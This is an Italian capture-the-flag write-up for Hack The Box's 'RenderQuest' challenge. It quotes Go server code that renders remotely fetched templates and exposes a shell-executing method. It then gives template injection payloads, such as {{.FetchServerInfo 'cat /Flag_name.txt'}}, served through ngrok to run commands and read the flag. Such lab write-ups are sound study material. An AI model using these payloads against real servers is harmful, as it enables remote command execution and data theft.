RenderQuest
Autore: Lord Shiva • Aggiornamento: 11.11.2023 • Tempo di lettura: 06 min.La sfida inizia con una pagina Web che esegue il rendering dei file modello (.tpl) localmente e in remoto.
Scarichiamo il codice sorgente e analizziamolo.
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
Dal codice sorgente possiamo notare che esiste un modo per eseguire comandi di sistema
func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
Possiamo creare un file modello che esegue comandi sul server utilizzando il codice go template.
Per identificare che il backend utilizza il motore del modello Go, possiamo utilizzare i seguenti payload:
{{ . }}
: Rappresenta la struttura dati passata come input al modello.- Se i dati passati sono un oggetto con un attributo, è possibile utilizzarlo
{{ .Attribute_name_here }}
per divulgarli.
- Se i dati passati sono un oggetto con un attributo, è possibile utilizzarlo
{{ printf "%s" "printing text" }}
: possiamo anche chiamare print o altri metodi.
In questo caso possiamo richiamare il metodo che ci permette di eseguire comandi sul server tramite:
{{.FetchServerInfo "command_here"}}
Prima di tutto, dobbiamo creare un file modello che serviremo configurando il nostro server.
$ cat exploit.tpl
{{.FetchServerInfo "ls -lah"}}
Essendo fuori dalla VPN è necessario attivare un servizio esterno per fare una triangolazione. Ho utilizzato il servizio ngrok:
ngrok http 80
A questo punto, una volta inviato il file il sistema restituirà la lista dei file presenti nella cartella. Modificare il file chiedendo la lista della root:
{{.FetchServerInfo "ls -la /"}}
Prendere il nome della Flag e rimodificare il file creato con il seguente codice:
{{.FetchServerInfo "cat /Flag_name.txt"}}
E rimandate il file... Gioco fatto!
Flag: HTB{qu3.............................5!!}